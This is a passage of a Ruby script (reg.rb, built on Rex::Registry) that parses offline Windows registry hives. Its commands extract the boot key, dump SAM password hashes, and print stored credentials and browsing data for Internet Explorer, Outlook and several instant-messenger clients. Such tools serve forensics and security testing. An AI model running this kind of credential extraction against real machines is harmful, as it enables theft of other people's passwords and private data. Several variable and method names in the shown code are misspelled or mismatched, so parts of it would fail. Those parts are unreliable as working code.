||||
end
|
||||
|
||||
def get_windows_messenger_information
|
||||
if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i
|
||||
contact_list_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service")
|
||||
file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\Messenger Service - FtReceiveFolder")
|
||||
last_user_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service - IdentityName")
|
||||
|
||||
print_all(contact_list_information_key)
|
||||
print_all(file_transers_information_key)
|
||||
print_all(last_user_information_key)
|
||||
end
|
||||
end
|
||||
|
||||
def get_icq_information
|
||||
if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i
|
||||
general_information_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ")
|
||||
|
||||
print_all(general_information_key)
|
||||
elsif @hive.hive_regf.hive_name =~ /SOFTWARE/
|
||||
owner_number_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ\\Owner")
|
||||
|
||||
print_all(owner_number_key)
|
||||
end
|
||||
end
|
||||
|
||||
def get_ie_information
|
||||
if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i
|
||||
stored_logon_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Internet Explorer\\Internet Explorer - URL:StringData")
|
||||
stored_search_terms_information_key = @hive.relative_quety("\\Software\\Microsoft\\Protected Storage SystemProvider\\SID\\Internet Explorer\\Internet Explorer - q:SearchIndex")
|
||||
ie_setting_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Main")
|
||||
history_length_value_key = @hive.value_query("\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\URL History - DaysToKeep")
|
||||
typed_urls_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Typed URLs")
|
||||
intelliforms_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Intelliforms")
|
||||
autocomplete_web_addresses_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider")
|
||||
default_download_dir = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer")
|
||||
|
||||
print_all(stored_logon_information_key)
|
||||
print_all(stored_search_terms_information_key)
|
||||
print_all(ie_settings_information_key)
|
||||
print_all(type_urls_information_key)
|
||||
print_all(intelliforms_information_key)
|
||||
print_all(autocomplete_web_addresses_key)
|
||||
print_all(default_download_dir)
|
||||
|
||||
puts "Days saved in history: " + history_length_value_key.value.data.to_s
|
||||
end
|
||||
end
|
||||
|
||||
def get_outlook_information
|
||||
if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i
|
||||
account_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Identification\\INETCOMM Server Passwords")
|
||||
|
||||
print_all(account_information_key)
|
||||
end
|
||||
end
|
||||
|
||||
def get_yahoo_messenger_information
|
||||
if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i
|
||||
profiles_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles")
|
||||
|
||||
print_all(profiles_key)
|
||||
|
||||
profiles_key.lf_record.children.each do |child|
|
||||
file_transfers_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\FileTransfer")
|
||||
message_archiving_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\Archive")
|
||||
|
||||
print_all(file_transfer_information_key)
|
||||
print_all(message_archiving_information_key)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_networking_information
|
||||
|
||||
end
|
||||
|
||||
def get_user_application_information
|
||||
end
|
||||
|
||||
if ARGV.length == 0 || ARGV[0] == "help"
|
||||
no_args = %Q{
|
||||
Usage: reg.rb <command> <opts> <hivepath>
|
||||
|
||||
Available commands:
|
||||
query_key Query for more information about a specific node key
|
||||
query_value Query for the value of a specific value key
|
||||
get_boot_key Extract the boot key from the SYSTEM hive
|
||||
dump_creds Dump the usernames and password hashes of the users from the SAM hive
|
||||
list_applications List all the applications installed via the SOFTWARE hive
|
||||
list_drivers List all the devices and their respective drivers and driver versions from SYSTEM hive
|
||||
get_everything When pointed to a directory with hives, it will run all commands on all available hives
|
||||
get_aol_instant_messenger_information Get credentials and general information on AOL Instant Messenger users from NTUSER.dat
|
||||
get_msn_messenger_information Get credentials and general information on MSN Messenger users from NTUSER.dat
|
||||
get_windows_messenger_information Get credentials and general information on Windows Messenger users from NTUSER.dat
|
||||
get_icq_information Get credentials and general information on ICQ users from NTUSER.dat
|
||||
get_ie_information Get stored credentials, typed history, search terms, and general settings from NTUSER.dat
|
||||
get_outlook_information Gets outlook and outlook express stored credentials and general information from NTUSER.dat
|
||||
get_yahoo_messenger_information Gets credentials and general information on Yahoo! Messenger users from NTUSER.dat
|
||||
get_system_information Gets general system administration from both SOFTWARE and SYSTEM hives
|
||||
get_networking_information Gets networing information from the SAM, SYSTEM, and NTUSER.dat hives
|
||||
get_user_information Gets general user information from the SYSTEM, SECURITY, SAM, and NTUSER.dat hives
|
||||
get_user_application_information Gets user-specific application information from the NTUSER.DAT and SOFTWARE hives
|
||||
}
|
||||
|
||||
puts no_args
|
||||
elsif ARGV[0] == "query_key"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
puts "Hive name: #{@hive.hive_regf.hive_name}"
|
||||
|
||||
1.upto(ARGV.length - 2) do |arg|
|
||||
selected = @hive.relative_query(ARGV[arg])
|
||||
|
||||
print_all(selected)
|
||||
end
|
||||
elsif ARGV[0] == "query_value"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
puts "Hive name: #{@hive.hive_regf.hive_name}"
|
||||
|
||||
1.upto(ARGV.length - 2) do |i|
|
||||
selected = @hive.value_query(ARGV[i])
|
||||
|
||||
if !selected
|
||||
puts "Value not found."
|
||||
return
|
||||
end
|
||||
|
||||
puts "Value Name: #{selected.name}"
|
||||
puts "Value Data: #{selected.value.data.inspect}"
|
||||
end
|
||||
elsif ARGV[0] == "get_boot_key"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /SYSTEM/
|
||||
puts "I need a SYSTEM hive to grab the boot key, not a #{@hive.hive_regf.hive_name}."
|
||||
else
|
||||
get_boot_key
|
||||
end
|
||||
|
||||
elsif ARGV[0] == "dump_creds"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /SAM/
|
||||
puts "I need a SAM hive, not a #{@hive.hive_regf.hive_name}"
|
||||
else
|
||||
dump_creds
|
||||
end
|
||||
|
||||
elsif ARGV[0] == "list_applications"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /SOFTWARE/
|
||||
puts "I need a SOFTWARE hive, not a #{@hive.hive_regf.hive_name}."
|
||||
else
|
||||
list_applications
|
||||
end
|
||||
|
||||
elsif ARGV[0] == "list_drivers"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /SYSTEM/
|
||||
puts "I need a SYSTEM hive, not a #{@hive.hive_regf.hive_name}."
|
||||
else
|
||||
list_drivers
|
||||
end
|
||||
|
||||
elsif ARGV[0] == "get_everything"
|
||||
Dir.foreach(ARGV[1]) do |file|
|
||||
next if file =~ /^\./
|
||||
|
||||
@hive = Rex::Registry::Hive.new(ARGV[1] + "/" + file)
|
||||
|
||||
next if !@hive.hive_regf
|
||||
next if !@hive.hive_regf.hive_name
|
||||
|
||||
if @hive.hive_regf.hive_name =~ /SYSTEM/
|
||||
|
||||
puts "Found a SYSTEM hive..."
|
||||
|
||||
list_drivers
|
||||
get_boot_key
|
||||
get_system_information
|
||||
get_networking_information
|
||||
get_user_information
|
||||
|
||||
elsif @hive.hive_regf.hive_name =~ /SOFTWARE/
|
||||
|
||||
puts "Found a SOFTWARE hive..."
|
||||
|
||||
list_applications
|
||||
get_icq_information
|
||||
get_system_information
|
||||
get_networking_information
|
||||
get_user_information
|
||||
get_user_application_information
|
||||
|
||||
elsif @hive.hive_regf.hive_name =~ /SAM/
|
||||
|
||||
puts "Found a SAM hive..."
|
||||
|
||||
get_networking_information
|
||||
get_user_information
|
||||
|
||||
elsif @hive.hive_regf.hive_name =~ /SECURITY/
|
||||
|
||||
puts "Found a SECURITY hive..."
|
||||
|
||||
get_user_information
|
||||
|
||||
elsif @hive.hive_regf.hive_name =~ /NTUSER\.dat/i
|
||||
|
||||
puts "Found a NTUSER.dat hive..."
|
||||
|
||||
get_aol_instant_messenger_information
|
||||
get_icq_information
|
||||
get_ie_information
|
||||
get_msn_messenger_information
|
||||
get_outlook_information
|
||||
get_windows_messenger_information
|
||||
get_yahoo_messenger_information
|
||||
get_networking_information
|
||||
get_user_information
|
||||
get_user_application_information
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
elsif ARGV[0] == "get_aol_instant_messenger_information"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /NTUSER\.DAT/i
|
||||
puts "I need the NTUSER.dat hive, not #{@hive.hive_regf.hive_name}."
|
||||
else
|
||||
get_aol_instant_messenger_information
|
||||
end
|
||||
|
||||
elsif ARGV[0] == "get_icq_information"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i && @hive.hive_regf.hive_name !~ /SOFTWARE/
|
||||
puts "I need either a SOFTWARE or NTUSER.dat hive, not #{@hive.hive_regf.hive_name}."
|
||||
else
|
||||
get_icq_information
|
||||
end
|
||||
elsif ARGV[0] == "get_ie_information"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i
|
||||
puts "I need an NTUSER.dat hive, not #{@hive.hive_regf.hive_name}."
|
||||
else
|
||||
get_ie_information
|
||||
end
|
||||
|
||||
elsif ARGV[0] == "get_msn_messenger_information"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i
|
||||
puts "I need an NTUSER.dat hive, not #{@hive.hive_regf.hive_name}."
|
||||
else
|
||||
get_msn_messenger_information
|
||||
end
|
||||
|
||||
elsif ARGV[0] == "get_outlook_information"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i
|
||||
puts "I need an NTUSER.dat hive, not #{@hive.hive_regf.hive_name}."
|
||||
else
|
||||
get_outlook_information
|
||||
end
|
||||
|
||||
elsif ARGV[0] == "get_windows_messenger_information"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i
|
||||
puts "I need an NTUSER.dat hive, not a #{@hive.hive_regf.hive_name}."
|
||||
else
|
||||
get_windows_messenger_information
|
||||
end
|
||||
|
||||
elsif ARGV[0] == "get_yahoo_messenger_information"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i
|
||||
puts "I need an NTUSER.dat hive, not a #{@hive.hive_regf.hive_name}."
|
||||
else
|
||||
get_yahoo_messenger_information
|
||||
end
|
||||
|
||||
elsif ARGV[0] == "get_system_information"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /SYSTEM/ && @hive.hive_regf.hive_name !~ /SOFTWARE/
|
||||
puts "I need the SYSTEM or SOFTWARE hive, not #{@hive.hive_regf.hive_name}."
|
||||
else
|
||||
get_system_information
|
||||
end
|
||||
elsif ARGV[0] == "get_networking_information"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /SAM/ && @hive.hive_regf.hive_name !~ /SYSTEM/ && @hive.hive_regf.hive_name !~ /NTUSER\.dat/i
|
||||
puts "I need either a SAM, SYSTEM, or NTUSER.dat hive, not a #{@hive.hive_regf.hive_name}."
|
||||
else
|
||||
get_networking_information
|
||||
end
|
||||
|
||||
elsif ARGV[0] == "get_user_information"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /SAM/
|
||||
puts "I need a SAM hive. Not a #{@hive.hive_regf.hive_name}."
|
||||
else
|
||||
get_user_information
|
||||
|
||||
end
|
||||
elsif ARGV[0] == "get_user_application_information"
|
||||
@hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1])
|
||||
|
||||
if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i && @hive.hive_regf.hive_name !~ /SOFTWARE/
|
||||
puts "I need either an NTUSER.dat or SOFTWARE hive, not a #{@hive.hive_regf.hive_name}."
|
||||
else
|
||||
get_user_application_information
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue